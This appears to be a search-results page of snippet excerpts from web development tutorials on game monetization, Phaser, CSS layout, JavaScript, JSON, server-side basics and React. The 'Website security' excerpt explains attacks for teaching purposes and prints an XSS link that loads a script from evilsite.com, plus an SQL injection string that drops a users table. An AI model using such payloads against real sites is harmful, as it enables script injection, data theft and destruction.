...hers, but usually it will be something between 2000 and 5000 usd. once you've sold an exclusive license you can forget about promoting that particular game as you won't earn more, so go into such a deal only if you're sure it's profitable enough. non-exclusive licenses this approach is less strict — you can sell a license to multiple publishers. this is the most popular approach as with every
new publisher (and they are constantly showing up) you can sell your games on non-exclusive terms. remember that with this license the publisher can't redistribute it further — it's often called a site-locked deal as they buy the right to publish the game on their own given portal. the usual cost of a non-exclusive license is around 500 usd. subscriptions there's also an option to get a passive, ...
...mber that it can be cancelled, so it's not an indefinitely working solution. ad revenue you can implement advertisements in your game on your own and try to find the traffic to earn a bit, but you can also do a revenue share deal with a publisher. they will take care of driving the traffic and will split the earnings — usually in a 70/30 or 50/50 deal, collected per month. remember that many
new, low quality publishers will want to get your game for ad revenue instead of licensing because it will be cheaper for them and you might end up with earnings around 2 usd per game for the whole deal. be careful when dealing with
new publishers — sometimes it's better to lower the license cost for a known one rather than risking fraud with an unknown publisher for more money. publishers taking ...
...them advertising. prices in this model vary greatly depending on the brand, client, and amount of work you put in. other non-game focused monetization strategies there are other ways you can earn money when building html5 games, and it doesn't even have to be game-related. selling resources if you're a graphic designer, you can sell the assets from the games you've created, or something brand
new exclusively for that purpose at online shops like envato market. it's not much, but if you're a known designer it can be an extra passive stream of income. writing articles and tutorials it is possible to write articles about your games and even get paid for them. game promotion and monetization at the same time is a win-win, and if you don't abuse it with too much advertising the readers will ...
Extra lives - Game development
ext » this is the 13th step out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson13.html. we can make the game enjoyable for longer by adding lives. in this article we'll implement a lives system, so that the player can continue playing until they have lost three lives, not just one. ...
...out of 16 of the gamedev phaser tutorial. you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson13.html. we can make the game enjoyable for longer by adding lives. in this article we'll implement a lives system, so that the player can continue playing until they have lost three lives, not just one. ...
...until they have lost three lives, not just one.
new variables add the following
new variables below the existing ones in your code: var lives = 3; var livestext; var lifelosttext; these respectively will store the number of lives, the text label that displays the number of lives that remain, and a text label that will be shown on screen when the player loses one of their lives. defining the
new text labels defining the texts look like something we already did in the score lesson. add the following lines below the existing scoretext definition inside your create() function: livestext = game.add.text(game.world.width-5, 5, 'lives: '+lives, { font: '18px arial', fill: '#0095dd' }); livestext.anchor.set(1,0); lifelosttext = game.add.text(game.world.width*0.5, game.world.height*0.5, 'life ...
...font in one variable will apply the changes to every place it is used. the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds event. instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a
new function called ballleavescreen; delete the previous event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas. add the ballleavescreen() function definition at the end of our code: function ballleavescreen() { lives--; if(lives) { lives...
Player paddle and controls - Game development
rendering the paddle from the framework point of view the paddle is very similar to the ball — we need to add a variable to represent it, load the relevant image asset, and then do the magic. loading the paddle first, add the paddle variable we will be using in our game, right after the ball variable: var paddle; then, in the preload function, load the paddle image by adding the following
new load.image() call: function preload() { // ... game.load.image('ball', 'img/ball.png'); game.load.image('paddle', 'img/paddle.png'); } adding the paddle graphic just so we don't forget, at this point you should grab the paddle graphic from github, and save it in your /img folder. rendering the paddle, with physics next up, we will init our paddle by adding the following add.spri...
...our index.html at this point, the paddle is currently not exactly in the middle. why? because the anchor from which the position is calculated always starts from the top left edge of the object. we can change that to have the anchor in the middle of the paddle's width and at the bottom of it's height, so it's easier to position it against the bottom edge. ...
...hat to have the anchor in the middle of the paddle's width and at the bottom of it's height, so it's easier to position it against the bottom edge. add the following line below the previous
new one: paddle.anchor.set(0.5,1); the paddle is now positioned right where we want it to be. now, to make it collide with the ball we have to enable physics for the paddle. continue by adding the following
new line, again at the bottom of the create() function: game.physics.enable(paddle, phaser.physics.arcade); now the magic can start to happen — the framework can take care of checking the collision detection on every frame. to enable collision detection between the paddle and ball, add the collide() method to the update() function as shown: function update() { game.physics.arcade.collide(ba...
...ove when the ball hits it. to do this, add the below line at the bottom of the create() function: paddle.body.immovable = true; now it works as expected. controlling the paddle the next problem is that we can't move the paddle. to do that we can use the system's default input (mouse or touch, depending on platform) and set the paddle position to where the input position is. add the following
new line to the update() function, as shown: function update() { game.physics.arcade.collide(ball, paddle); paddle.x = game.input.x; } now on every
new frame the paddle's x position will adjust accordingly to the input's x position, however when we start the game, the position of the paddle is not in the middle. it's because the input position is not yet defined. to fix that we can set the...
Debugging CSS - Learn web development
dit grid layouts, flexbox, and shapes. however, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applied to elements on your page, and making changes to them from the editor. in this lesson we will look at some useful features of the firefox devtools for working with css. in order to do so i'll be using an example file. load this up in a
new tab if you want to follow along, and open up your devtools as described in the article linked above. the dom versus view source something that can trip up
newcomers to devtools is the difference between what you see when you view the source of a webpage, or look at the html file you put on the server, and what you can see in the html pane of the devtools. while it looks roughly similar to what ...
...thing? devtools can save you a lot of time editing a stylesheet and reloading the page. with box1 selected, click on the swatch (the small colored circle) that shows the color applied to the border. a color picker will open up and you can try out some different colors; these will update in real time on the page. in a similar fashion, you could change the width or style of the border. ...
...on, you could change the width or style of the border. adding a
new property you can add properties using the devtools. perhaps you have realised that you don't want your box to inherit the <body> element's font size, and want to set its own specific size? you can try this out in devtools before adding it to your css file. you can click the closing curly brace in the rule to start entering a
new declaration into it, at which point you can start typing the
new property and devtools will show you an autocomplete list of matching properties. after selecting font-size, enter the value you want to try. you can also click the + button to add an additional rule with the same selector, and add your
new rules there. note: there are other useful features in the rules view too, for example decl...
... repository. is something else overriding your css? this is where the information you have learned about specificity will come in very useful. if you have something more specific overriding what you are trying to do, you can enter into a very frustrating game of trying to work out what. however, as described above, devtools will show you what css is applying and you can work out how to make the
new selector specific enough to override it. make a reduced test case of the problem if the issue isn't solved by the steps above, then you will need to do some more investigating. the best thing to do at this point is to create something known as a reduced test case. being able to "reduce an issue" is a really useful skill. it will help you find problems in your own code and that of your colleague...
Flexbox - Learn web development
ex-direction and flex-wrap — flex-flow. so for example, you can replace flex-direction: row; flex-wrap: wrap; with flex-flow: row wrap; flexible sizing of flex items let's now return to our first example, and look at how we can control what proportion of space flex items take up compared to the other flex items. fire up your local copy of flexbox0.html, or take a copy of flexbox1.html as a
new starting point (see it live). first, add the following rule to the bottom of your css: article { flex: 1; } this is a unitless proportion value that dictates how much of the available space along the main axis each flex item will take up compared to other flex items. in this case, we are giving each <article> element the same value (a value of 1), which means they will all take up an equal a...
...ex-basis longhand value. we'd advise against using the longhand flex properties unless you really have to (for example, to override something previously set). they lead to a lot of extra code being written, and they can be somewhat confusing. horizontal and vertical alignment you can also use flexbox features to align flex items along the main or cross axis. let's explore this by looking at a
new example — flex-align0.html (see it live also) — which we are going to turn into a neat, flexible button/toolbar. at the moment you'll see a horizontal menu bar, with some buttons jammed into the top left hand corner. first, take a local copy of this example. now, add the following to the bottom of the example's css: div { display: flex; align-items: center; justify-content: space-a...
...see a horizontal menu bar, with some buttons jammed into the top left hand corner. first, take a local copy of this example. now, add the following to the bottom of the example's css: div { display: flex; align-items: center; justify-content: space-around; } refresh the page and you'll see that the buttons are now nicely centered, horizontally and vertically. we've done this via two
new properties. align-items controls where the flex items sit on the cross axis. by default, the value is stretch, which stretches all flex items to fill the parent in the direction of the cross axis. if the parent hasn't got a fixed width in the cross axis direction, then all flex items will become as long as the longest flex items. this is how our first example got equal height columns by defau...
...-around; } finally, we set some sizing on the button, but more interestingly we give it a flex value of 1 auto. this has a very interesting effect, which you'll see if you try resizing your browser window width. the buttons will take up as much space as they can and sit as many on the same line as they can, but when they can no longer fit comfortably on the same line, they'll drop down to create
new lines. button { flex: 1 auto; margin: 5px; font-size: 18px; line-height: 1.5; } cross browser compatibility flexbox support is available in most
new browsers — firefox, chrome, opera, microsoft edge and ie 11,
newer versions of android/ios, etc. however you should be aware that there are still older browsers in use that don't support flexbox (or do, but support a really old, out-of-d...
Floats - Learn web development
objective: to learn how to create floated features on webpages, and to use the clear property and other methods of clearing floats. the background of floats the float property was introduced to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it. the kind of thing you might get in a
newspaper layout. but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. floats have commonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one anot...
... float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. floats have commonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source). ...
...at the bottom of the section, you can see a live example of what the final code should look like. ...
... } once again, this is because the float has been taken out of normal flow. clearing the following element doesn't help with this box clearing problem, where you want the bottom of the box to wrap the floated item and wrapping content even if the content is shorter. there are three potential ways to deal with this, two of which work in all browsers — yet are slightly hacky — and a third
new way that deals with this situation properly. the clearfix hack the way that this situation has traditionally been dealt with is to use something known as a "clearfix hack". this involves inserting some generated content after the box which contains the float and wrapping content, and setting that to clear both. add the following css to our example: .wrapper::after { content: ""; clear: bo...
Introduction to CSS layout - Learn web development
be laid out differently using other values, for example always fixed to the top of the browser viewport. table layout — features designed for styling the parts of an html table can be used on non-table elements using display: table and associated properties. multi-column layout — the multi-column layout properties can cause the content of a block to layout in columns, as you might see in a
newspaper. the display property the main methods of achieving page layout in css are all values of the display property. this property allows us to change the default way something displays. everything in normal flow has a value of display, used as the default way that elements they are set on behave. for example, the fact that paragraphs in english display one below the other is due to the fact t...
...ng displays. everything in normal flow has a value of display, used as the default way that elements they are set on behave. for example, the fact that paragraphs in english display one below the other is due to the fact that they are styled with display: block. if you create a link around some text inside a paragraph, that link remains inline with the rest of the text, and doesn’t break onto a
new line. this is because the <a> element is display: inline by default. you can change this default display behavior. for example, the <li> element is display: block by default, meaning that list items display one below the other in our english document. if we change the display value to inline they now display next to each other, as words would do in a sentence. the fact that you can change the va...
... default, but can be made to slide on screen using a control button. fixed positioning is very similar to absolute positioning, except that it fixes an element relative to the browser viewport, not another element. this is useful for creating effects such as a persistent navigation menu that always stays in the same place on the screen as the rest of the content scrolls. sticky positioning is a
newer positioning method which makes an element act like position: static until it hits a defined offset from the viewport, at which point it acts like position: fixed. simple positioning example to provide familiarity with these page layout techniques, we'll show you a couple of quick examples. our examples will all feature the same html, which is as follows: <h1>positioning</h1> <p>i am a basi...
...while reading up and down columns is less useful in a web context as you don’t want to force users to scroll up and down, arranging content into columns can be a useful technique. to turn a block into a multicol container we use either the column-count property, which tells the browser how many columns we would like to have, or the column-width property, which tells the browser to fill ...
Supporting older browsers - Learn web development
previous overview: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs. however, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as
new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking out users of older technology. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to provide support for your layouts on older browsers that might not support the features you want to use. w...
...ery website is different in terms of target audience. before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. this is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. if you have no analytics or this is a brand
new site, then there are sites such as statcounter that can provide statistics filtered by location. you should also consider the type of devices and the way people use your site, for example, you may expect a higher than an average number of mobile devices. accessibility and people using assistive technology should always be considered, but for some sites that may be even more critical. in my exper...
... lesson explaining the rather patchy and confusing support for flexbox in older browsers. if you make a flex container into a grid container, any flex property applied to the children will be ignored. for many layout tweaks in older browsers, you may find you can give a decent experience by using css in this way. we add a simpler layout based on older and well-supported techniques, then use the
newer css to create the layout that over 90% of your audience will see. there are cases, however, when the fallback code will need to include something that the
new browsers will also interpret. a good example of this is if we were to add percentage widths to our floated items to make the columns more like the grid display, stretching to fill the container. in the floated layout, the percentage is c...
...rosoft has made a range of virtual machines available for free download. these are available for mac, windows and linux operating systems and so are a great way to test in old and modern windows browsers even if you are not using a windows computer. summary you now have the knowledge to confidently use techniques such as grid and flexbox, create fallbacks for older browsers, and make use of any
new techniques that might come along in the future. see also using feature queries in css backwards compatibility of flexbox css grid layout and progressive enhancement using css grid: supporting browsers without grid a tutorial which uses the ie10 and 11 version of grid should i try to use the ie10 implementation of grid layout? cascading web design with feature queries using feature quer...
What is CSS? - Learn web development
puter literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to learn what css is. in the introduction to html module we covered what html is, and how it is used to mark up documents. these documents will be readable in a web browser. headings will look larger than regular text, paragraphs break onto a
new line and have space between them. links are colored and underlined to distinguish them from the rest of the text. what you are seeing is the browser's default styles — very basic styles that the browser applies to html to make sure it will be basically readable even if no explicit styling is specified by the author of the page. however, the web would be a boring place if all websites looked ...
...define precisely how those technologies are supposed to behave. css is no different — it is developed by a group within the w3c called the css working group. this group is made of representatives of browser vendors and other companies who have an interest in css. there are also other people, known as invited experts, who act as independent voices; they are not linked to a member organization.
new css features are developed, or specified, by the css working group. sometimes because a particular browser is interested in having some capability, other times because web designers and developers are asking for a feature, and sometimes because the working group itself has identified a requirement. css is constantly developing, with
new features coming available. however, a key thing about css is...
...ng for a feature, and sometimes because the working group itself has identified a requirement. css is constantly developing, with
new features coming available. however, a key thing about css is that everyone works very hard to never change things in a way that would break old websites. a website built in 2000, using the limited css available then, should still be usable in a browser today! as a
newcomer to css, it is likely that you will find the css specs overwhelming — they are intended for engineers to use to implement support for the features in user agents, not for web developers to read to understand css. many experienced developers would much rather refer to mdn documentation or other tutorials. it is however worth knowing that they exist, understanding the relationship between the...
...e implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name. what's next now that you have some understanding of what css is, let's move on to getting started with css, where you can start to write some css yourself. overview: first steps next in this module what is css? getting started with css how css is structured how css works using your
new knowledge ...
Web fonts - Learn web development
ld up a basic web font example from first principles. it is difficult to demonstrate this using an embedded live example, so instead, we would like you to follow the steps detailed in the below sections, to get an idea of the process. you should use the web-font-start.html and web-font-start.css files as a starting point to add your code to (see the live example). make a copy of these files in a
new directory on your computer now. in the web-font-start.css file, you'll find some minimal css to deal with the basic layout and typesetting of the example. finding fonts for this example, we'll use two web fonts, one for the headings, and one for the body text. to start with, we need to find the font files that contain the fonts. fonts are created by font foundries and are stored in different fi...
...to your css (the url part), and the format of each font file (the format part). the latter part in each case is optional, but it is useful to declare it because it allows browsers to find a font they can use faster. multiple declarations can be listed, separated by commas — the browser will search through them and use the first one it can find that it understands — it is therefore best to put
newer, better formats like woff2 earlier on, and older, not so good formats like ttf later on. the one exception to this is the eot fonts — they are placed first to fix a couple of bugs in older versions of ie whereby it will try to use the first thing it finds, even if it can't actually use the font. font-weight/font-style: these lines specify what weight the font has, and whether it is italic or...
... is and then use different values of font-weight/font-style to choose between them, rather than having to call all the different members of the font family different names. @font-face tip: define font-weight and font-style to keep your css simple by roger johansson shows what to do in more detail. note: you can also specify particular font-variant and font-stretch values for your web fonts. ...
...they are somewhat advanced for our beginner's course, but if you fancy stretching yourself and looking into them, read our variable fonts guide. ...
What are browser developer tools? - Learn web development
res are especially handy: the rules applied to the current element are shown in order of most-to-least-specific. click the checkboxes next to each declaration to see what would happen if you removed the declaration. click the little arrow next to each shorthand property to show the property's longhand equivalents. ...
... you'll notice a number of clickable tabs at the top of the css viewer: computed: this shows the computed styles for the currently selected element (the final, normalized values that the browser applies). ...
... you'll notice a number of clickable tabs at the top of the css viewer: computed: this shows the computed styles for the currently selected element (the final, normalized values that the browser applies). ...
...nd pane shows a list of the watch expressions you have added and breakpoints you have set. in the image, the first section, watch expressions, shows that the listitems variable has been added. you can expand the list to view the values in the array. the next section, breakpoints, lists the breakpoints set on the page. in example.js, a breakpoint has been set on the statement listitems.push(input
newitem.value); the final two sections only appear when the code is running. the call stack section shows you what code was executed to get to the current line. you can see that the code is in the function that handles a mouse click, and that the code is currently paused on the breakpoint. the final section, scopes, shows what values are visible from various points within your code. for example, i...
Creating hyperlinks - Learn web development
at lives on the web. if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on). for example, the bbc homepage contains a many links that point not only to multiple
news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools), and more. anatomy of a link a basic link is created by wrapping the text or other content, see block level links, inside an <a> element and using the href attribute, also known as a hypertext reference, or target, that contains the web address. <p>i'm creating a link to <a href="...
... to itself. and, the lack of a link acts a good visual reminder of which page you are currently on. the finished example should look similar to the following page: note: if you get stuck, or aren't sure if you have got it right, you can check the navigation-menu-marked-up directory to see the correct answer. e-mail links it's possible to create links or buttons that, when clicked, open a
new outgoing email message rather than linking to a resource or page. this is done using the <a> element and the mailto: url scheme. in its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. for example: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> this results in a link that looks like this: send email to nowhere. in...
...a> element and the mailto: url scheme. in its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. for example: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> this results in a link that looks like this: send email to nowhere. in fact, the email address is optional. if you omit it and your href is simply "mailto:"), a
new outgoing email window will be opened by the user's email client with no destination address. this is often useful as "share" links that users can click to send an email to an address of their choosing. specifying details in addition to the email address, you can provide other information. in fact, any standard mail header fields can be added to the mailto url you provide. the most commonly used...
...t users can click to send an email to an address of their choosing. specifying details in addition to the email address, you can provide other information. in fact, any standard mail header fields can be added to the mailto url you provide. the most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the
new email). each field and its value is specified as a query term. here's an example that includes a cc, bcc, subject and body: <a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=the%20subject%20of%20the%20email&body=the%20body%20of%20the%20email"> send mail with cc, bcc, subject and body </a> note: the values of each field must be url-encoded, that i...
Responsive images - Learn web development
s and spec writers didn't even think to implement solutions. responsive image technologies were implemented recently to solve the problems indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images suitable for different space allocations (art direction). note: the
new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile browsers (including microsoft's edge browser, although not internet explorer.) how do you create responsive images? in this section, we'll look at the two problems illustrated above and show how to solve them using html's responsive image features. you should no...
...we want to solve with resolution switching? we want to display identical image content, just larger or smaller depending on the device — this is the situation we have with the second content image in our example. the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two
new attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one. you can see an example of this in our responsive.html example on github (see also the source code): <img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.
...like srcset. for example, you couldn't load the <img> element, then detect the viewport width with javascript, and then dynamically change the source image to a smaller one if desired. by then, the original image would already have been loaded, and you would load the small image as well, which is even worse in responsive image terms. use modern image formats boldly there are several exciting
new image formats (such as webp and jpeg-2000) that can maintain a low file size and high quality at the same time. however, browser support is spotty. <picture> lets us continue catering to older browsers. you can supply mime types inside type attributes so the browser can immediately reject unsupported file types: <picture> <source type="image/svg+xml" srcset="pyramid.svg"> <source type="imag...
...image at different resolutions, or different image sizes at different viewport widths. test your skills! you've reached the end of this article, but can you remember the most important information? you can find a detailed assessment that tests these skills at the end of the module; see mozilla splash page. summary that's a wrap for responsive images — we hope you enjoyed playing with these
new techniques. as a recap, there are two distinct problems we've been discussing here: art direction: the problem whereby you want to serve cropped images for different layouts — for example a landscape image showing a full scene for a desktop layout, and a portrait image showing the main subject zoomed in for a mobile layout. you can solve this problem using the <picture> element. resolution ...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
a very similar way to settimeout(), except that the function you pass as the first parameter is executed repeatedly at no less than the number of milliseconds given by the second parameter apart, rather than once. you can also pass any parameters required by the function being executed as subsequent parameters of the setinterval() call. let's look at an example. ...
...terval() call. let's look at an example. the following function creates a
new date() object, extracts a time string out of it using tolocaletimestring(), and then displays it in the ui. it then runs the function once per second using setinterval(), creating the effect of a digital clock that updates once per second (see this live, and also see the source): function displaytime() { let date =
new date(); let time = date.tolocaletimestring(); document.getelementbyid('demo').textcontent = time; } const createclock = setinterval(displaytime, 1000); just like settimeout(), setinterval() returns an identifying value you can use later when you need to clear the interval. clearing intervals setinterval() keeps running a task forever, unless you do something about it. you'll probably wa...
...ple therefore throttles the rate at which the sprite cycles its frames using the following code: if (posx % 13 === 0) { if (sprite === 5) { sprite = 0; } else { sprite++; } } so the code only cycles the sprite once every 13 animation frames. ...actually, it's about every 6.5 frames, as we update posx (character's position on the screen) by two each frame: if (posx > width/2) {
newstartpos = -( (width/2) + 102 ); posx = math.ceil(
newstartpos / 13) * 13; console.log(posx); } else { posx += 2; } this is the code that calculates how to update the position in each animation frame. the method you use to throttle your animation will depend on your particular code. for instance, in the earlier spinner example, you could make it appear to move slower by only increasing rota...
...f these keys was pressed, set isover to true. only if isover is true, remove the keydown event listener using removeeventlistener() so that once the winning press has happened, no more keyboard input is possible to mess up the final game result. you also use settimeout() to call reset() after 5 seconds — as explained earlier, this function resets the game back to its original state so that a
new game can be started. that's it—you're all done! note: if you get stuck, check out our version of the reaction game (see the source code also). conclusion so that's it — all the essentials of async loops and intervals covered in one article. you'll find these methods useful in a lot of situations, but take care not to overuse them! because they still run on the main thread, heavy a...
JavaScript object basics - Learn web development
let's say we wanted users to be able to store custom value types in their p...
... above lines, and then getting the members again to see how they've changed, like so: person.age person['name']['last'] setting members doesn't just stop at updating the values of existing properties and methods; you can also create completely
new members. try these in the js console: person['eyes'] = 'hazel'; person.farewell = function() { alert("bye everybody!"); } you can now test out your
new members: person['eyes'] person.farewell() one useful aspect of bracket notation is that it can be used to set not only member values dynamically, but member names too. let's say we wanted users to be able to store custom value types in their people data, by typing the member name and value into two text inputs. we could get those values like this: let mydataname = nameinput.value; let mydatava...
...e useful aspect of bracket notation is that it can be used to set not only member values dynamically, but member names too. let's say we wanted users to be able to store custom value types in their people data, by typing the member name and value into two text inputs. ...
...hat it has several common methods and properties available on it. the same is true of pretty much any other built-in object or api you've been using — array, math, and so on. note that built in objects and apis don't always create object instances automatically. as an example, the notifications api — which allows modern browsers to fire system notifications — requires you to instantiate a
new object instance using the constructor for each notification you want to fire. try entering the following into your javascript console: const mynotification =
new notification('hello!'); again, we'll look at constructors in a later article. note: it is useful to think about the way objects communicate as message passing — when an object needs another object to perform some kind of action oft...
Working with JSON - Learn web development
e responsive web pages, and sounds exciting, but it is beyond the scope of this article to teach it in much more detail. to start with, we store the url of the json we want to retrieve in a variable. add the following at the bottom of your javascript code: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; to create a request, we need to create a
new request object instance from the xmlhttprequest constructor, using the
new keyword. add the following below your last line: let request =
new xmlhttprequest(); now we need to open the request using the open() method. add the following line: request.open('get', requesturl); this takes at least two parameters — there are other optional parameters available. we only need the two mandator...
... set the <h2> to contain the current hero's name. fill the three paragraphs with their secretidentity, age, and a line saying "superpowers:" to...
...d(mypara2); myarticle.appendchild(mypara3); myarticle.appendchild(mylist); section.appendchild(myarticle); } } to start with, we store the members property of the javascript object in a
new variable. this array contains multiple objects that contain the information for each hero. next, we use a for loop to loop through each object in the array. for each one, we: create several
new elements: an <article>, an <h2>, three <p>s, and a <ul>. set the <h2> to contain the current hero's name. fill the three paragraphs with their secretidentity, age, and a line saying "superpowers:" to introduce the information in the list. store the powers property in another
new constant called superpowers — this contains an array that lists the current hero's superpowers. use another for l...
...ngify() works the opposite way. try entering the following lines into your browser's javascript console one by one to see it in action: let myjson = { "name": "chris", "age": "38" }; myjson let mystring = json.stringify(myjson); mystring here we're creating a javascript object, then checking what it contains, then converting it to a json string using stringify() — saving the return value in a
new variable — then checking it again. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: json. summary in this article, we've given you a simple guide to using json in your programs, including how to create and ...
Object building practice - Learn web development
th(), and fill the area it takes up with the color we specified earlier in fillstyle." you can start testing your object out already. save the code so far, and load the html file in a browser. open the browser's javascript console, and then refresh the page so that the canvas size changes to the smaller visible viewport that remains when the console opens. type in the following to create a
new ball instance: let testball =
new ball(50, 100, 4, 4, 'blue', 10); try calling its members: testball.x testball.size testball.color testball.draw() when you enter the last line, you should see the ball draw itself somewhere on the canvas. updating the ball's data we can draw the ball in position, but to actually move the ball, we need an update function of some kind. add the followin...
... let's get on with some animation! animating the ball now let's make this fun. we are now going to start adding balls to the canvas, and animating them. first, we need to create somewhere to store all our balls and then populate it. ...
...so when we have 25 balls on screen, no more balls appear. you can try varying the number in balls.length < 25 to get more or fewer balls on screen. ...
... the if statement only runs if they are not the same. we then use a common algorithm to check the collision of two circles. we are basically checking whether any of the two circle's areas overlap. this is explained further in 2d collision detection. if a collision is detected, the code inside the inner if statement is run. in this case we only set the color property of both the circles to a
new random color. we could have done something far more complex, like get the balls to bounce off each other realistically, but that would have been far more complex to implement. for such physics simulations, developers tend to use a games or physics library such as physicsjs, matter.js, phaser, etc. you also need to call this method in each frame of the animation. add the following below the ...
Introduction to the server side - Learn web development
http post method), or in associated cookies. web servers wait for client request messages, process them when they arrive, and reply to the web browser with an http response message. the response contains a status line indicating whether or not the request succeeded (e.g. "http/1.1 200 ok" for success). the body of a successful response to a request would contain the requested resource (e.g. a
new html page, or an image, etc...), which could then be displayed by the web browser. static sites the diagram below shows a basic web server architecture for a static site (a static site is one that returns the same hard-coded content from the server whenever a particular resource is requested). when a user wants to navigate to a page, the browser sends an http "get" request specifying its url. ...
...echanism that allows a server to store information on the current user of a site and send different responses based on that information. this allows, for example, a site to know that a user has previously logged in and display links to their emails or order history, or perhaps save the state of a simple game so that the user can go to a site again and carry on where they left it. note: visit a
newspaper site that has a subscription model and open a bunch of tabs (e.g. the age). continue to visit the site over a few hours/days. eventually, you will start to be redirected to pages explaining how to subscribe, and you will be unable to access articles. this information is an example of session information stored in cookies. notifications and communication servers can send general or user-s...
... to access articles. this information is an example of session information stored in cookies. notifications and communication servers can send general or user-specific notifications through the website itself or via email, sms, instant messaging, video conversations, or other communications services. a few examples include: facebook and twitter send emails and sms messages to notify you of
new communications. amazon regularly sends product e-mails that suggest products similar to those already bought or viewed that you might be interested in. a web server might send warning messages to site administrators alerting them to low memory on the server, or suspicious user activity. note: the most common type of notification is a "confirmation of registration". pick almost any large site...
...cts similar to those already bought or viewed that you might be interested in. a web server might send warning messages to site administrators alerting them to low memory on the server, or suspicious user activity. note: the most common type of notification is a "confirmation of registration". pick almost any large site that you are interested in (google, amazon, instagram, etc.) and create a
new account using your email address. you will shortly receive an email confirming your registration, or requiring acknowledgment to activate your account. data analysis a website may collect a lot of data about users: what they search for, what they buy, what they recommend, how long they stay on each page. server-side programming can be used to refine responses based on analysis of this data. f...
Website security - Learn web development
e security is to prevent these (or any) sorts of attacks. the more formal definition of website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption. effective website security requires design effort across the whole of the website: in your web application, the configuration of the web server, your policies for creating and re
newing passwords, and the client-side code. while all that sounds very ominous, the good
news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks. other attacks can be mitigated through your web server configuration, for example by enabling https. finally, there are...
...re common than any other type of security threat. the xss vulnerabilities are divided into reflected and persistent, based on how the site returns the injected scripts to a browser. a reflected xss vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser. any scripts in the original user content will be run when the
new page is loaded. for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the results. an attacker can construct a search link that contains a malicious script as a parameter (e.g., http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user. if the target user cli...
...ion of server code is known as input sanitization. many web frameworks automatically sanitize user input from html forms by default. sql injection sql injection vulnerabilities enable malicious users to execute arbitrary sql code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. a successful injection attack might spoof identities, create
new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable. sql injection types include error-based sql injection, sql injection based on boolean errors, and time-based sql injection. this vulnerability is present if user input that is passed to an underlying sql statement can change the meaning of the statement. for example, the follo...
...he meaning of the statement. for example, the following code is intended to list all users with a particular name (username) that has been supplied from an html form: statement = "select * from users where name = '" + username + "';" if the user specifies a real name, the statement will work as intended. however, a malicious user could completely change the behavior of this sql statement to the
new statement in the following example, by simply specifying the text in bold for the username. select * from users where name = 'a';drop table users; select * from userinfo where 't' = 't'; the modified statement creates a valid sql statement that deletes the users table and selects all data from the userinfo table (which reveals the information of every user). this works because the first part o...
Beginning our React todo list - Learn web development
hings: an app() function to replace the one you have now, and some css to style your app. ...
...t into app.js so that it replaces the existing app() function: function app(props) { return ( <div classname="todoapp stack-large"> <h1>todomatic</h1> <form> <h2 classname="label-wrapper"> <label htmlfor="
new-todo-input" classname="label__lg"> what needs to be done? ...
...odomatic. this way, it will match the <h1> at the top of our app. <title>todomatic</title> when your browser refreshes, you should see something like this: it's ugly, and doesn’t function yet, but that's okay — we'll style it in a moment. first, consider the jsx we have, and how it corresponds to our user stories: we have a <form> element, with an <input type="text"> for writing out a
new task, and a button to submit the form. we have an array of buttons that will be used to filter our tasks. we have a heading that tells us how many tasks remain. we have our 3 tasks, arranged in an un-ordered list. each task is a list item (<li>), and has buttons to edit and delete it and a checkbox to check it off as done. the form will allow us to make tasks; the buttons will let us filter ...
